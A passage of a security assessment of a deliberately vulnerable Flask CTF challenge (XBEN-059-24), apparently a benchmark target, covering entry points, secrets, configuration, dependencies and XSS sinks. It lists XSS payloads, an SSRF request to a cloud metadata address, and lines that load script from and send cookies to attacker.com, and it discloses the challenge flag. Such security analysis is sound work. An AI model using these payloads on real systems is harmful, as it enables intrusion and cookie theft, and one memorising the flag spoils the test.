   - Detects if `alert()`, `confirm()`, or `prompt()` was called
   - Returns result string via stdout

5. **Response Handling** (Lines 81-83):
   - Sets security header: `X-Content-Type-Options: nosniff`
   - Returns flag if XSS detected: `flags[0]` embedded in response

**Security Assessment:**
- ❌ **CRITICAL - Reflected XSS** (High Exploitability)
- ❌ **CRITICAL - SSRF via PhantomJS** (High Exploitability)
- ❌ **CRITICAL - Information Disclosure** (Flag exposure)
- ❌ **HIGH - Race Condition** (Temporary files in web-accessible directory)
- ⚠️ **MEDIUM - No CSRF Protection** (State-changing GET request)

**Attack Vectors:**

1. **XSS Exploitation:**
   - **Payload:** `GET /page?name=";alert(document.domain);//`
   - **Impact:** JavaScript execution in victim browser
   - **Flag Extraction:** `GET /page?name=";alert('XSS');//` triggers flag reveal

2. **SSRF via PhantomJS:**
   - **Payload:** `GET /page?name=<script>fetch('http://169.254.169.254/latest/meta-data/')<%2Fscript>`
   - **Impact:** Access to cloud metadata, internal services, localhost endpoints
   - **Details:** User JavaScript executes in PhantomJS context with network access

3. **Information Disclosure:**
   - **Payload:** Any successful XSS payload
   - **Impact:** Flag `flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}` revealed in response

4. **Temporary File Race Condition:**
   - **Attack Window:** ~5 second window while PhantomJS processes file
   - **Access URL:** `GET /static/<random_hex>.html`
   - **Impact:** Direct access to user-controlled HTML (low likelihood due to random filenames)

---

#### Entry Point 3: Static File Serving (`GET /static/<path:filename>`)

**Route Details:**
- **Method:** GET
- **Path:** `/static/*`
- **Handler:** Flask built-in static file serving
- **Authentication Required:** No
- **Authorization Required:** No

**Functionality:**
Serves static assets (CSS, images, fonts) from the `static/` directory. Also temporarily hosts HTML files created during XSS validation (deleted after processing).

**Input Parameters:**
- **Parameter:** `filename` (path component)
- **Validation:** Flask's built-in path traversal protection (prevents `../` directory escape)

**Security Assessment:**
- ✅ **Path Traversal Protected** - Flask prevents directory escape attacks
- ⚠️ **Temporary HTML Files** - User-controlled HTML temporarily exposed (5-second window)
- ⚠️ **No Access Logging** - No audit trail of file access attempts
- ✅ **Secure Filenames** - Random hex strings (128-bit entropy) prevent enumeration

**Attack Vectors:**
- **Path Traversal:** ❌ Not exploitable (Flask protections)
- **File Enumeration:** ❌ Not practical (cryptographically random filenames)
- **Race Condition:** ⚠️ Possible but difficult (requires predicting random filename)

---

### Internal Service Communication

**Status:** ✅ **NOT APPLICABLE - MONOLITHIC APPLICATION**

This application does not implement microservices architecture or internal service-to-service communication. All functionality is contained within a single Flask process running in one Docker container.

**Network Communication Analysis:**
- **No internal APIs** - No REST/gRPC/message queue communication between services
- **No service mesh** - No Istio, Linkerd, or Consul integration
- **No inter-process communication** - Only subprocess execution (PhantomJS)

**PhantomJS Subprocess Communication:**
- **Process:** Flask spawns PhantomJS as child process
- **Communication:** stdin/stdout pipes (not network sockets)
- **Trust Boundary:** Parent process controls child via subprocess API
- **Security:** User input flows through this boundary without sanitization

---

### Input Validation Patterns

**Application-Wide Validation Assessment:** ❌ **CRITICALLY INSUFFICIENT**

**Implemented Validation:**

**1. Blacklist Filter (Single-Word):**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:69-75`
- **Pattern:** `if word in msg.lower()`
- **Blocked Terms:** Only "import"
- **Case Sensitivity:** Case-insensitive matching
- **Effectiveness:** ❌ **Extremely Weak** - Blocks only one word, trivially bypassable

**2. Flask Built-In Protections:**
- **Path Traversal Prevention:** ✅ Flask's static file handler prevents `../` directory escape
- **Query Parameter Parsing:** ✅ Flask's `request.args.get()` safely handles URL encoding

**Missing Validation Mechanisms:**

❌ **No Whitelist Validation** - Should validate allowed characters (e.g., alphanumeric only)
❌ **No Length Limits** - User input can be arbitrarily long (DoS risk)
❌ **No Type Validation** - No checks for expected data types or formats
❌ **No Schema Validation** - No JSON schema or structured data validation
❌ **No Regular Expression Validation** - No pattern matching for safe input
❌ **No HTML Sanitization** - No HTML parsing/cleaning (should use bleach or DOMPurify)
❌ **No JavaScript Escaping** - No proper escaping for JavaScript string context
❌ **No Content Security Policy** - No CSP to restrict script execution

**Output Encoding Analysis:**

**Implemented Encoding:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:58`
- **Function:** `cgi.escape(result)`
- **Scope:** Only PhantomJS stdout (error messages)
- **Effectiveness:** ✅ Prevents XSS in error output

**Missing Encoding:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:77`
- **Issue:** ❌ User input directly interpolated into JavaScript string via `% msg`
- **Impact:** Enables XSS exploitation

**Recommended Validation Pattern:**
1. **Whitelist allowed characters** (e.g., `[a-zA-Z0-9 ]`)
2. **Set maximum length** (e.g., 100 characters)
3. **Apply context-specific encoding:**
   - JavaScript context: Use `json.dumps()` or JavaScript escaping library
   - HTML context: Use `markupsafe.escape()` or `cgi.escape()`
4. **Implement Content Security Policy** to block inline scripts
5. **Use template engines with auto-escaping** (Jinja2 with autoescape enabled)

---

### Background Processing

**Status:** ✅ **NOT APPLICABLE - NO ASYNC JOBS**

This application does not implement background job processing, task queues, or asynchronous workers. All operations are synchronous request-response cycles.

**Async Patterns NOT Present:**
- ❌ No Celery or RQ (Redis Queue) workers
- ❌ No background threads or multiprocessing
- ❌ No scheduled cron jobs or periodic tasks
- ❌ No webhook delivery queues

**Synchronous PhantomJS Execution:**
The only "background" operation is PhantomJS subprocess execution, which is **synchronous** - the Flask handler blocks until PhantomJS completes (with 5-second timeout). This is not a true background job system.

**Security Implications:**
- ✅ No privilege escalation via job worker contexts
- ✅ No job queue injection or manipulation
- ⚠️ Synchronous blocking can cause DoS (users can occupy Flask workers)

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Status:** ❌ **CRITICAL FAILURE - SECRETS IN VERSION CONTROL**

**Secret Inventory:**

**Secret #1: CTF Flag (PRIMARY SECRET)**
- **Value:** `flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}`
- **Type:** Application secret (CTF flag)
- **Criticality:** HIGH - Primary objective of penetration test

**Storage Locations:**

1. **Git Version Control (CRITICAL VULNERABILITY):**
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/.env:1`
   - **Content:** `FLAG="flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}"`
   - **Issue:** ❌ **CRITICAL** - Secret committed to git repository
   - **Impact:** 
     - Permanent exposure in git history (persists even if file deleted)
     - Accessible to anyone with repository access
     - Indexed by GitHub/GitLab secret scanners
     - Discoverable via git log/git history commands
   - **Remediation Required:** 
     - Add `.env` to `.gitignore` (currently `.gitignore` does not exist)
     - Remove secret from git history using `git filter-branch` or `BFG Repo-Cleaner`
     - Rotate the secret (generate new flag)

2. **Docker Image Layers (CRITICAL VULNERABILITY):**
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile:23-25`
   - **Mechanism:**
     ```dockerfile
     ARG FLAG
     RUN sed -i s/@FLAG@/$FLAG/g secret.txt
     ```
   - **Issue:** ❌ **CRITICAL** - Flag embedded in image layer at build time
   - **Impact:**
     - Extractable via `docker history <image_id>`
     - Persists in Docker registry (if pushed)
     - Accessible via layer inspection tools
   - **Recommendation:** Use runtime secret injection (Docker secrets, Kubernetes secrets, env vars at runtime)

3. **Plaintext File Storage (CRITICAL VULNERABILITY):**
   - **Template File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/secret.txt`
   - **Runtime File:** `/python-docker/secret.txt` (in container)
   - **Permissions:** 644 (world-readable)
   - **Issue:** ❌ **CRITICAL** - No encryption, no access controls
   - **Impact:**
     - Readable by any process in container
     - Accessible via path traversal vulnerabilities (if any)
     - Extractable via container filesystem export
   - **Recommendation:** Use encrypted storage or in-memory secrets

**Secret Loading Mechanism:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:22`
- **Code:** `flags = open('secret.txt').read().split()`
- **Security:** ❌ Plaintext file read, no decryption or access control

**Secret Rotation:**
- **Status:** ❌ Not implemented
- **Capability:** No mechanism exists to rotate secrets without rebuilding Docker image
- **Issue:** If flag is compromised, replacing it requires full rebuild and redeployment

**Secret Exposure in Logs:**
- **Application Logs:** ⚠️ Flag appears in HTTP responses (may be logged by proxies/LBs)
- **Container Logs:** ⚠️ Docker captures stdout/stderr (flag may appear if responses logged)
- **Web Server Logs:** ⚠️ No explicit logging of flag, but response bodies may be captured

**Secrets Management Scorecard:**
- ❌ **Secrets in Version Control:** CRITICAL FAILURE
- ❌ **Secrets in Docker Layers:** CRITICAL FAILURE  
- ❌ **No Encryption at Rest:** CRITICAL FAILURE
- ❌ **World-Readable Permissions:** HIGH RISK
- ❌ **No Secret Rotation:** HIGH RISK
- ❌ **No Secrets Vault:** HIGH RISK (should use HashiCorp Vault, AWS Secrets Manager, etc.)

---

### Configuration Security

**Configuration Files Analysis:**

**1. Application Configuration:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:25`
- **Settings:**
  ```python
  app.config['PROPAGATE_EXCEPTIONS'] = True
  ```
- **Issues:**
  - ❌ **No SECRET_KEY configured** - Flask sessions cannot be securely signed
  - ❌ **No environment-based configuration** - No distinction between dev/staging/prod
  - ❌ **No security headers configuration** - No CSP, HSTS, or other protective headers

**2. Debug Mode (CRITICAL VULNERABILITY):**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:87`
- **Setting:** `app.run(debug=True)`
- **Impact:** ❌ **CRITICAL SECURITY RISK**
  - Enables Werkzeug interactive debugger
  - Exposes full stack traces with source code
  - Provides Python console access via debug PIN
  - Debug PIN often predictable or brute-forceable
  - Allows arbitrary code execution if PIN obtained
- **Attack Vector:** Trigger exception → Access `/console` → Brute-force PIN → Execute Python code
- **Recommendation:** NEVER use `debug=True` in production

**3. Docker Configuration:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile`
- **Security Issues:**
  - ❌ **Runs as root user** (Line 20: `WORKDIR /python-docker` - no USER directive)
  - ❌ **OpenSSL disabled** (Line 10: `ENV OPENSSL_CONF=/dev/null`)
  - ❌ **EOL base image** (Line 1: `FROM python:2.7.18-slim`)
  - ❌ **No resource limits** (no memory/CPU limits in Dockerfile)
  - ❌ **No security scanning** (no Trivy/Snyk scanning in build)

**4. Docker Compose Configuration:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/docker-compose.yml`
- **Security Issues:**
  - ❌ **Build-time secret injection** (FLAG arg passed at build time)
  - ❌ **No resource limits** (no mem_limit, cpus constraints)
  - ❌ **Dynamic port mapping** (ports: "5000" - random host port)
  - ❌ **No health checks** (no healthcheck directive)
  - ❌ **No restart policy** (no restart: unless-stopped)

**Environment Separation:**
- **Status:** ❌ **NO ENVIRONMENT SEPARATION**
- **Issue:** Single configuration for all environments (no dev/staging/prod separation)
- **Impact:** Same insecure configuration used everywhere

**Security Headers Configuration:**

**Infrastructure Configuration Search Results:**

**Nginx Configuration:** ❌ **NOT FOUND**
- No nginx.conf file detected
- Application uses Flask development server (not production WSGI server)
- No reverse proxy layer

**Kubernetes Ingress:** ❌ **NOT FOUND**
- No Kubernetes manifests detected
- Application deployed via Docker Compose only

**CDN Configuration:** ❌ **NOT FOUND**
- No CDN integration detected

**Security Headers Implementation:**

**Strict-Transport-Security (HSTS):**
- **Status:** ❌ Not configured anywhere
- **Impact:** No forced HTTPS (though app uses HTTP only)
- **Location:** Would need to be added to Flask response headers or nginx config

**Cache-Control:**
- **Status:** ❌ Not configured
- **Impact:** Sensitive responses (flag) may be cached by browsers/proxies
- **Location:** Should be added at app.py:82 alongside X-Content-Type-Options

**X-Content-Type-Options:**
- **Status:** ✅ Configured (ONLY security header present)
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:82`
- **Code:** `response.headers["X-Content-Type-Options"] = "nosniff"`
- **Scope:** Only on `/page` endpoint response

**Configuration Security Scorecard:**
- ❌ **Debug Mode Enabled:** CRITICAL
- ❌ **No SECRET_KEY:** HIGH RISK
- ❌ **Root User Execution:** HIGH RISK
- ❌ **No Environment Separation:** MEDIUM RISK
- ❌ **Missing Security Headers:** HIGH RISK
- ✅ **One Security Header Present:** X-Content-Type-Options

---

### External Dependencies

**Dependency Analysis:**

**Python Dependencies (requirements.txt):**

1. **Flask==1.1.4**
   - **Status:** Outdated (released ~2021, latest is 3.x)
   - **Security:** Known vulnerabilities in 1.x series
   - **Recommendation:** Upgrade to Flask 3.x

2. **phantomjs==2.1.1**
   - **Status:** ❌ **ABANDONED** (last release 2016, project dead)
   - **Security:** ❌ **CRITICAL RISK** - No security patches since 2018
   - **Known Issues:** Multiple WebKit CVEs, no modern security features
   - **Recommendation:** Replace with Puppeteer or Playwright

**System Dependencies (via Docker):**

1. **Python 2.7.18**
   - **Status:** ❌ **END-OF-LIFE** (since January 1, 2020)
   - **Security:** ❌ **CRITICAL RISK** - No security patches for 4+ years
   - **Recommendation:** Migrate to Python 3.11+

2. **Debian Buster (Base Image)**
   - **Status:** ❌ **END-OF-LIFE** (June 2022)
   - **Package Sources:** Uses archived repositories (`archive.debian.org`)
   - **Security:** ❌ No security updates available
   - **Recommendation:** Use Debian Bookworm or Ubuntu LTS

**Third-Party Services:**
- **Status:** ✅ No external service dependencies
- **Assessment:** Application is self-contained (no APIs, no cloud services, no payment processors)

**Dependency Security Implications:**
- ❌ **Unpatched CVEs** in Python 2.7, Flask 1.x, and PhantomJS
- ❌ **No vulnerability scanning** (no Dependabot, Snyk, or npm audit equivalent)
- ❌ **No update mechanism** for dependencies
- ❌ **Supply chain risk** from EOL software

---

### Monitoring & Logging

**Logging Implementation:**

**Application Logging:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py`
- **Mechanism:** `print` statements (lines 68-69)
- **Example:** `print "msg: " + msg` - Logs user input
- **Issues:**
  - ❌ Uses print() instead of proper logging framework (no log levels, no structured logging)
  - ⚠️ User input logged without sanitization (PII/sensitive data risk)
  - ❌ No log rotation or retention policy
  - ❌ No log aggregation (no ELK, Splunk, or CloudWatch integration)

**Security Event Logging:**
- **Status:** ❌ **NOT IMPLEMENTED**
- **Missing Events:**
  - Authentication attempts (N/A - no auth)
  - Authorization failures (N/A - no authz)
  - Input validation failures (blacklist hits not logged)
  - Suspicious activity patterns (SQL injection attempts, path traversal, etc.)
  - Rate limit violations (N/A - no rate limiting)
  - Exception details (propagated to user due to debug mode)

**Container Logging:**
- **Mechanism:** Docker captures stdout/stderr
- **Storage:** Docker log driver (json-file by default)
- **Retention:** Unmanaged (logs accumulate indefinitely)
- **Access:** Accessible via `docker logs` command

**Monitoring & Alerting:**
- **Status:** ❌ **NOT IMPLEMENTED**
- **Missing Capabilities:**
  - No application performance monitoring (APM)
  - No error tracking (Sentry, Rollbar, etc.)
  - No uptime monitoring
  - No security event alerting
  - No anomaly detection

**Audit Trail:**
- **Status:** ❌ **INSUFFICIENT**
- **Issue:** No forensic capability to reconstruct attack timeline
- **Missing:** Request IDs, timestamps, client IPs, user agents

**Logging Security Scorecard:**
- ❌ **No Structured Logging:** HIGH RISK
- ❌ **No Security Event Logging:** CRITICAL GAP
- ❌ **No Log Aggregation:** MEDIUM RISK
- ❌ **No Monitoring/Alerting:** CRITICAL GAP
- ⚠️ **Basic stdout Logging Present:** Minimal capability

---

## 7. Overall Codebase Indexing

The XBEN-059-24 "Dalgona Challenges" codebase is a deliberately minimalist Flask application designed for security training and CTF competitions, comprising only 292 lines of source code across three primary files. The application follows a flat directory structure with no complex architectural layers, making it straightforward to analyze but lacking separation of concerns and modularity expected in production systems.

The project root contains standard Docker deployment artifacts (`Dockerfile`, `docker-compose.yml`) and configuration files (`.env` for secrets, `requirements.txt` for dependencies). The `src/` directory houses the core application logic: `app.py` (87 lines) serves as the monolithic entry point containing Flask route handlers, PhantomJS subprocess orchestration, and temporary file management; `constants.py` (206 lines) stores hardcoded HTML templates as string constants without using Flask's templating system; and `check.js` (49 lines) implements the PhantomJS validation script that loads HTML and detects XSS exploitation through JavaScript dialog interception.

The codebase eschews common Python project conventions - there is no `setup.py` or `pyproject.toml`, no test directory, no `__init__.py` files indicating proper package structure, and no separation between configuration, business logic, and presentation layers. Static assets (CSS, images, fonts) reside in `src/static/` which also serves as the temporary storage location for dynamically generated HTML files during XSS validation, creating a security concern as user-controlled content temporarily exists in a web-accessible directory.

Build orchestration relies on Docker Compose for local development with secrets injected at build time via ARG parameters - a pattern that embeds sensitive data in image layers. There is no CI/CD pipeline configuration (no `.github/workflows/`, `.gitlab-ci.yml`, or Jenkins files), no automated testing framework (no pytest, unittest, or test runner configuration), and no code quality tooling (no linters, formatters, or security scanners integrated). The absence of a `.gitignore` file contributes to the secrets-in-version-control vulnerability, as the `.env` file containing the flag is tracked by git.

From a security perspective, this flat structure concentrates all attack surface components in a single 87-line file (`app.py`), making vulnerability discovery straightforward but also indicating a lack of defense-in-depth architectural patterns. There are no middleware layers, no input validation frameworks, no authentication decorators, and no separation between trusted and untrusted code paths. The PhantomJS integration through `check.js` represents the only "external" component, yet it operates as a subprocess with user-controlled input flowing directly into its execution context without sanitization.

The directory organization reveals intentional design choices for CTF purposes: hardcoded templates in `constants.py` prevent easy content modification, the flag storage in `secret.txt` with template substitution provides a "find the secret file" challenge element, and the minimalist structure reduces noise for security training participants. However, these same characteristics - lack of modular architecture, absence of security frameworks, and concentration of functionality - represent anti-patterns that would be unacceptable in production systems and create significant blind spots for automated security scanning tools that expect conventional project structures.

---

## 8. Critical File Paths

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/.env` - Environment variables (FLAG secret committed to git)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile` - Container build configuration (secret injection at build time)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/docker-compose.yml` - Container orchestration (port mapping, build args)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/requirements.txt` - Python dependencies (Flask 1.1.4, phantomjs 2.1.1)

### Authentication & Authorization
- N/A - No authentication or authorization system implemented

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Flask application entry point, all route handlers (lines 29-83)
  - Line 29-31: `GET /` index route
  - Line 66-83: `GET /page` XSS challenge route (PRIMARY ATTACK SURFACE)
  - Line 87: Flask app.run with debug=True enabled

### Data Models & DB Interaction
- N/A - No database or data models present

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/requirements.txt` - Flask==1.1.4, phantomjs==2.1.1

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/.env` - FLAG environment variable (CRITICAL: in version control)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/secret.txt` - Plaintext flag storage template (@FLAG@ placeholder)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 22: Flag loading from secret.txt
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile` - Lines 23-25: Build-time secret injection via sed replacement

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 69-75: Blacklist filter (only blocks "import" keyword)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 58: cgi.escape() output encoding (PhantomJS output only)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 82: X-Content-Type-Options security header

### Logging & Monitoring
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Lines 68-69: print statements for basic logging

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile` - Container build definition (Python 2.7.18-slim, PhantomJS installation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/docker-compose.yml` - Service orchestration (port 5000 exposed)
- N/A - No Kubernetes manifests, nginx config, or CDN configuration detected

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/.env` - Line 1: FLAG="flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}" (exposed in git)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/secret.txt` - Runtime flag storage file (@FLAG@ replaced during Docker build)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile` - Lines 23-25: sed command embeds flag in Docker image layers
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 22: Flag loaded into memory (global variable)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 56: Flag transmitted in HTTP response on successful XSS

### XSS & Injection Sinks
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 68: User input entry point (request.args.get('name',''))
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 77: JavaScript context injection via string formatting (PRIMARY XSS SINK)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Lines 35-50: Temporary file creation and PhantomJS execution

### SSRF Components
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Line 34: subprocess.Popen PhantomJS execution
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/check.js` - Line 20: PhantomJS page.open() (SSRF VECTOR)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` - Lines 38-40: User-controlled HTML written to temporary file

### Static Assets & Templates
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/constants.py` - HTML template constants (INDEX_CONTENT, PAGE_CONTENT, IMAGE_ROUTES)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/static/` - Static file directory (CSS, images, fonts + temporary HTML files)

---

## 9. XSS Sinks and Render Contexts

### Sink #1: JavaScript String Context + document.write() - **CRITICAL VULNERABILITY**

**Sink Type:** Reflected Cross-Site Scripting (XSS) via JavaScript context injection with document.write()

**Render Context:** **Dual Context Vulnerability**
1. **Primary Context:** JavaScript String Context (inside double quotes)
2. **Secondary Context:** HTML Body Context (via document.write() DOM manipulation)

**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:77`

**Code:**
```python
script_content = """<div class="solution-text"><script> var name = "%s"; document.write('Hello ' + name); </script></div>""" % msg
```

**User Input Source:** 
- **Parameter:** `name` query parameter
- **Route:** `GET /page?name=<payload>`
- **Entry Point:** Line 68 - `msg = request.args.get('name','')`

**Data Flow:**

1. **Input Received:** Line 68
   ```python
   msg = request.args.get('name','')
   ```
   User-controlled string from query parameter, no length limits or type validation.

2. **Blacklist Filtering:** Lines 69-75
   ```python
   blacklist = ['import']
   for word in blacklist:
       if word in msg.lower():
           error_msg = """<div class="solution-text">Sorry you can't use: '%s'</div>""" % word
           return PAGE_CONTENT.format("6","Circle",value,"",error_msg)
   ```
   Minimal filtering - only blocks strings containing "import" (case-insensitive). Does NOT block:
   - Quote characters (`"`, `'`)
   - Semicolons (`;`)
   - HTML tags (`<`, `>`)
   - JavaScript keywords (`alert`, `eval`, `function`, `script`)
   - Event handlers (`onclick`, `onerror`, `onload`)
   - Special characters (`&`, `#`, `\`)

3. **Unsafe JavaScript Injection:** Line 77
   ```python
   script_content = """<div class="solution-text"><script> var name = "%s"; document.write('Hello ' + name); </script></div>""" % msg
   ```
   **Critical Flaw:** Direct string interpolation (`% msg`) inserts unescaped user input into JavaScript string context.
   
   **Rendered Output Example:**
   - Input: `test`
   - Output: `<script> var name = "test"; document.write('Hello ' + name); </script>`
   
   - Input: `"; alert(1); //`
   - Output: `<script> var name = ""; alert(1); //"; document.write('Hello ' + name); </script>`

4. **PhantomJS Validation:** Lines 33-61 (check_input() function)
   - Temporary HTML file created in `static/` directory with user-controlled script
   - PhantomJS loads HTML at `http://localhost:5000/static/<random>.html`
   - JavaScript executes in PhantomJS WebKit context
   - XSS detection: Checks if `alert()`, `confirm()`, or `prompt()` was triggered
   - Result returned via stdout

5. **Response with Flag:** Lines 78-83
   ```python
   value = check_input(script_content)
   # ... (processing lines 78-81)
   response = make_response(PAGE_CONTENT.format("6","Circle",value,"",script_content))
   response.headers["X-Content-Type-Options"] = "nosniff"
   return response
   ```
   If XSS detected (`result == 'XSS'` in line 55), flag is revealed in response.

**Current Protection:**

- ❌ **Input Validation:** CRITICALLY WEAK - Only blocks "import" keyword
- ❌ **Output Encoding:** ABSENT - No JavaScript escaping applied to user input
- ❌ **CSP Protection:** ABSENT - No Content-Security-Policy header
- ⚠️ **Security Headers:** MINIMAL - Only `X-Content-Type-Options: nosniff` (prevents MIME sniffing, does NOT prevent XSS)

**Exploitability:** **CRITICAL - HIGH**

**Bypass Difficulty:** **TRIVIAL - EASY**

This is a textbook XSS vulnerability with minimal protections. The single-word blacklist is ineffective against JavaScript injection.

**Example Exploit Payloads:**

**Payload 1: Basic JavaScript String Escape**
```
GET /page?name="; alert('XSS'); //

Rendered: <script> var name = ""; alert('XSS'); //"; document.write('Hello ' + name); </script>
Effect: Breaks out of string, executes alert(), comments out remaining code
```

**Payload 2: Flag Extraction**
```
GET /page?name="; alert(document.domain); //

Effect: Triggers XSS detection in PhantomJS, reveals flag in response
```

**Payload 3: HTML Injection via document.write**
```
GET /page?name="; document.write('<img src=x onerror=alert(1)>'); //

Effect: Injects HTML with event handler that executes on page load
```

**Payload 4: Encoded Bypass (if filtering improved)**
```
GET /page?name=\u0022; alert(String.fromCharCode(88,83,83)); //

Effect: Uses Unicode escape for quote and character codes for payload
```

**Payload 5: DOM-based XSS Chain**
```
GET /page?name="; var x=document.createElement('script'); x.src='http://attacker.com/xss.js'; document.body.appendChild(x); //

Effect: Loads external JavaScript for advanced exploitation
```

**Payload 6: Cookie Theft (if sessions existed)**
```
GET /page?name="; fetch('http://attacker.com/steal?c='+document.cookie); //

Effect: Exfiltrates session cookies to attacker-controlled server
```

**Security Impact:**

1. **Flag Disclosure (Primary CTF Objective):**
   - Any successful XSS payload triggers PhantomJS detection
   - Application returns flag in response body
   - **Impact:** Complete compromise of CTF challenge objective

2. **Client-Side Code Execution:**
   - Arbitrary JavaScript execution in victim browser
   - Full control over DOM and page behavior
   - **Impact:** Phishing attacks, UI redressing, credential harvesting

3. **Session Hijacking (if auth existed):**
   - Could steal session cookies if authentication implemented
   - **Impact:** Account takeover vulnerabilities

4. **Data Exfiltration:**
   - Can access and transmit any client-side data
   - **Impact:** PII disclosure, sensitive information leakage

5. **Malware Distribution:**
   - Can redirect users to malicious sites
   - Can trigger drive-by downloads
   - **Impact:** Malware infection, browser exploitation

**Attack Scenario:**
1. Attacker crafts malicious URL: `http://target.com/page?name=";alert('XSS');//`
2. Victim clicks link (phishing, social engineering)
3. Application reflects unescaped payload into JavaScript context
4. Browser executes attacker's JavaScript
5. PhantomJS detects XSS and application reveals flag
6. Attacker successfully compromises CTF challenge

---

### Sink #2: Potential HTML Injection in Error Messages - **PROTECTED**

**Sink Type:** HTML injection in error message display (mitigated by cgi.escape())

**Render Context:** HTML Body Context (inside div element)

**File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:58`

**Code:**
```python
error_msg = """<div class="result">Error: %s</div>""" % cgi.escape(result)
```

**User Input Source:** Indirect - PhantomJS stdout (line 45)

**Data Flow:**
1. PhantomJS executes user-controlled HTML
2. PhantomJS writes result to stdout: `result = proc.stdout.readline().strip()`
3. Result is HTML-escaped: `cgi.escape(result)`
4. Escaped result inserted into error message HTML

**Current Protection:**
- ✅ **Output Encoding:** YES - `cgi.escape()` applied (converts `<`, `>`, `&`, `"` to HTML entities)
- ✅ **Effective Against:** Standard XSS attacks

**Exploitability:** **LOW**

**Bypass Difficulty:** **HARD**

**Assessment:** This sink is **PROPERLY PROTECTED** by `cgi.escape()`. While PhantomJS could theoretically return malicious content, the HTML encoding prevents it from being interpreted as executable code.

**Potential Bypass Scenarios:**
1. **cgi.escape() vulnerability:** Exploit a bug in Python 2.7's cgi.escape() implementation (none known)
2. **Context confusion:** If output were placed in JavaScript or attribute context (not the case here)
3. **PhantomJS compromise:** If attacker could control PhantomJS binary itself (out of scope)

**Example Attack Attempt:**
```
Payload: " onload="alert(1)
PhantomJS Output: <script>alert(1)</script>
After cgi.escape(): &lt;script&gt;alert(1)&lt;/script&gt;
Rendered: <div class="result">Error: &lt;script&gt;alert(1)&lt;/script&gt;</div>
Result: XSS BLOCKED - Displays literal text instead of executing code
```

**Security Impact:** Minimal - This output path is secure.

---

### Summary: XSS Findings

**CRITICAL SINKS FOUND:** 1

**PROTECTED SINKS FOUND:** 1

**PRIMARY VULNERABILITY:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:77`
- **Type:** Reflected XSS via JavaScript String Context
- **Exploitability:** CRITICAL - Trivially exploitable
- **Impact:** Flag disclosure, client-side code execution, complete CTF challenge compromise

**NO OTHER XSS SINKS DETECTED:**
- ❌ No innerHTML usage in client-side JavaScript
- ❌ No eval() or Function() constructor usage  
- ❌ No setTimeout/setInterval with string arguments
- ❌ No jQuery dangerous methods (.html(), .append() with user input)
- ❌ No template injection vulnerabilities (no Jinja2 render_template_string with user input)
